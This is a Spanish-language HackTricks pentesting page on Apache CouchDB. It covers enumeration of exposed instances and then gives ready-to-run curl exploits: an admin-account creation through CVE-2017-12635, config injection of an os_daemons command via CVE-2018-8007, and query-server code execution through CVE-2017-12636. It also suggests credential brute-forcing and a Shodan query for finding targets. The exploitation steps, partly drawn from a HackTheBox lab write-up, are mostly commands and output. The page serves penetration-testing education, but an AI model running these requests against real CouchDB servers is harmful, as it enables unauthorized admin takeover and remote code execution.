19 KiB
5984,6984 - Pentesting CouchDB
Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información Básica
CouchDB es una base de datos orientada a documentos versátil y potente que organiza los datos utilizando una estructura de mapa de clave-valor dentro de cada documento. Los campos dentro del documento pueden representarse como pares clave/valor, listas o mapas, lo que proporciona flexibilidad en el almacenamiento y recuperación de datos.
Cada documento almacenado en CouchDB se le asigna un identificador único (_id
) a nivel de documento. Además, cada modificación realizada y guardada en la base de datos se le asigna un número de revisión (_rev
). Este número de revisión permite un seguimiento eficiente y la gestión de cambios, facilitando la recuperación y sincronización de datos dentro de la base de datos.
Puerto predeterminado: 5984 (http), 6984 (https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Enumeración Automática
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Enumeración Manual
Banner
curl http://IP:5984/
Este comando emite una solicitud GET a una instancia de CouchDB instalada. La respuesta debería lucir algo como una de las siguientes:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
Ten en cuenta que si al acceder a la raíz de couchdb recibes un 401 Unauthorized
con algo como esto: {"error":"unauthorized","reason":"Authentication required."}
no podrás acceder al banner ni a ningún otro endpoint.
{% endhint %}
Enumeración de Información
Estos son los endpoints a los que puedes acceder con una solicitud GET y extraer información interesante. Puedes encontrar más endpoints y descripciones detalladas en la documentación de couchdb.
/_active_tasks
Lista de tareas en ejecución, incluyendo el tipo de tarea, nombre, estado y ID de proceso./_all_dbs
Devuelve una lista de todas las bases de datos en la instancia de CouchDB./_cluster_setup
Devuelve el estado del nodo o cluster, según el asistente de configuración del cluster./_db_updates
Devuelve una lista de todos los eventos de la base de datos en la instancia de CouchDB. Se requiere la existencia de la base de datos_global_changes
para usar este endpoint./_membership
Muestra los nodos que forman parte del cluster comocluster_nodes
. El campoall_nodes
muestra todos los nodos que este nodo conoce, incluidos los que forman parte del cluster./_scheduler/jobs
Lista de trabajos de replicación. Cada descripción de trabajo incluirá información de origen y destino, ID de replicación, un historial de eventos recientes y algunas otras cosas./_scheduler/docs
Lista de estados de documentos de replicación. Incluye información sobre todos los documentos, incluso en estadoscompletados
yfallidos
. Para cada documento devuelve el ID del documento, la base de datos, el ID de replicación, origen y destino, y otra información./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
El endpoint/_node/{node-name}
se puede utilizar para confirmar el nombre del nodo Erlang del servidor que procesa la solicitud. Esto es más útil al acceder a/_node/_local
para recuperar esta información./_node/{node-name}/_stats
El recurso_stats
devuelve un objeto JSON que contiene las estadísticas del servidor en ejecución. La cadena literal_local
sirve como un alias para el nombre del nodo local, por lo que para todas las URL de estadísticas,{node-name}
puede ser reemplazado por_local
, para interactuar con las estadísticas del nodo local./_node/{node-name}/_system
El recurso _system devuelve un objeto JSON que contiene varias estadísticas a nivel de sistema para el servidor en ejecución. Puedes usar ___local
como {node-name} para obtener información actual del nodo./_node/{node-name}/_restart
/_up
Confirma que el servidor está arriba, en ejecución y listo para responder a las solicitudes. Simaintenance_mode
estrue
onolb
, el endpoint devolverá una respuesta 404./_uuids
Solicita uno o más Identificadores Únicos Universales (UUIDs) de la instancia de CouchDB./_reshard
Devuelve un recuento de trabajos completados, fallidos, en ejecución, detenidos y totales junto con el estado de reescalado en el cluster.
Se puede extraer información más interesante como se explica aquí: https://lzone.de/cheat-sheet/CouchDB
Lista de Bases de Datos
curl -X GET http://IP:5984/_all_dbs
Si esa solicitud responde con un 401 no autorizado, entonces necesitas algunas credenciales válidas para acceder a la base de datos:
curl -X GET http://user:password@IP:5984/_all_dbs
Para encontrar Credenciales válidas podrías intentar realizar un ataque de fuerza bruta al servicio.
Este es un ejemplo de una respuesta de couchdb cuando tienes suficientes privilegios para listar bases de datos (Es solo una lista de bases de datos):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Información de la base de datos
Puedes obtener información de la base de datos (como el número de archivos y tamaños) accediendo al nombre de la base de datos:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Lista de Documentos
Enumera cada entrada dentro de una base de datos
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Leer Documento
Lea el contenido de un documento dentro de una base de datos:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
Escalada de privilegios en CouchDB CVE-2017-12635
Gracias a las diferencias entre los analizadores JSON de Erlang y JavaScript, podrías crear un usuario administrador con credenciales hacktricks:hacktricks
con la siguiente solicitud:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Más información sobre esta vulnerabilidad aquí.
RCE de CouchDB
Resumen de Seguridad de la Cookie de Erlang
Ejemplo desde aquí.
En la documentación de CouchDB, específicamente en la sección sobre la configuración de clúster (enlace), se discute el uso de puertos por parte de CouchDB en modo clúster. Se menciona que, al igual que en el modo independiente, se utiliza el puerto 5984
. Además, el puerto 5986
es para APIs locales de nodos, y es importante destacar que Erlang requiere el puerto TCP 4369
para el Demonio del Mapeador de Puertos de Erlang (EPMD), facilitando la comunicación entre nodos dentro de un clúster de Erlang. Esta configuración forma una red donde cada nodo está interconectado con todos los demás nodos.
Se destaca un aviso de seguridad crucial con respecto al puerto 4369
. Si este puerto se hace accesible a través de Internet o cualquier red no confiable, la seguridad del sistema depende en gran medida de un identificador único conocido como la "cookie". Esta cookie actúa como una salvaguarda. Por ejemplo, en una lista de procesos dada, se podría observar una cookie llamada "monster", lo que indica su papel operativo en el marco de seguridad del sistema.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Para aquellos interesados en entender cómo esta "cookie" puede ser explotada para la Ejecución Remota de Código (RCE) dentro del contexto de sistemas Erlang, hay una sección dedicada disponible para lectura adicional. Detalla las metodologías para aprovechar las cookies de Erlang de manera no autorizada para lograr control sobre los sistemas. Puedes explorar la guía detallada sobre el abuso de cookies de Erlang para RCE aquí.
Explotando CVE-2018-8007 mediante la modificación de local.ini
Ejemplo aquí.
Se exploró una vulnerabilidad recientemente divulgada, CVE-2018-8007, que afecta a Apache CouchDB, revelando que la explotación requiere permisos de escritura en el archivo local.ini
. Aunque no es directamente aplicable al sistema objetivo inicial debido a restricciones de seguridad, se realizaron modificaciones para otorgar acceso de escritura al archivo local.ini
con fines de exploración. A continuación, se proporcionan pasos detallados y ejemplos de código, demostrando el proceso.
Primero, se prepara el entorno asegurándose de que el archivo local.ini
sea escribible, verificado mediante la lista de permisos:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Para explotar la vulnerabilidad, se ejecuta un comando curl, apuntando a la configuración cors/origins
en local.ini
. Esto inyecta un nuevo origen junto con comandos adicionales bajo la sección [os_daemons]
, con el objetivo de ejecutar código arbitrario:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
La verificación posterior muestra la configuración inyectada en local.ini
, contrastándola con una copia de seguridad para resaltar los cambios:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Inicialmente, el archivo esperado (/tmp/0xdf
) no existe, lo que indica que el comando inyectado aún no se ha ejecutado. Una investigación adicional revela que hay procesos relacionados con CouchDB en ejecución, incluido uno que potencialmente podría ejecutar el comando inyectado:
root@canape:/home/homer/bin# ps aux | grep couch
Al terminar el proceso de CouchDB identificado y permitir que el sistema lo reinicie automáticamente, se activa la ejecución del comando inyectado, confirmado por la existencia del archivo previamente faltante:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
Esta exploración confirma la viabilidad de la explotación de CVE-2018-8007 bajo condiciones específicas, especialmente el requisito de acceso de escritura al archivo local.ini
. Los ejemplos de código proporcionados y los pasos procedimentales ofrecen una guía clara para replicar el exploit en un entorno controlado.
Para más detalles sobre CVE-2018-8007, consulta el aviso de mdsec: CVE-2018-8007.
Explorando CVE-2017-12636 con Permisos de Escritura en local.ini
Ejemplo desde aquí.
Se exploró una vulnerabilidad conocida como CVE-2017-12636, que permite la ejecución de código a través del proceso de CouchDB, aunque configuraciones específicas pueden evitar su explotación. A pesar de la disponibilidad de numerosas referencias de Prueba de Concepto (POC) en línea, se requieren ajustes para explotar la vulnerabilidad en la versión 2 de CouchDB, que difiere de la versión comúnmente objetivo 1.x. Los pasos iniciales implican verificar la versión de CouchDB y confirmar la ausencia de la ruta esperada de los servidores de consulta.
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
Para dar cabida a CouchDB versión 2.0, se utiliza una nueva ruta:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
Los intentos de agregar e invocar un nuevo servidor de consultas se encontraron con errores relacionados con los permisos, como se indica en la siguiente salida:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Además de la investigación inicial, se descubrieron problemas de permisos con el archivo local.ini
, el cual no era modificable. Al modificar los permisos del archivo con acceso de root o de homer, fue posible continuar:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
Los intentos posteriores de agregar el servidor de consultas tuvieron éxito, como se demostró por la ausencia de mensajes de error en la respuesta. La modificación exitosa del archivo local.ini
fue confirmada mediante la comparación de archivos:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
El proceso continuó con la creación de una base de datos y un documento, seguido por un intento de ejecutar código a través de un mapeo de vista personalizado hacia el servidor de consulta recién agregado:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
Un resumen con un payload alternativo proporciona más información sobre la explotación de CVE-2017-12636 bajo condiciones específicas. Recursos útiles para explotar esta vulnerabilidad incluyen:
Shodan
port:5984 couchdb
Referencias
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.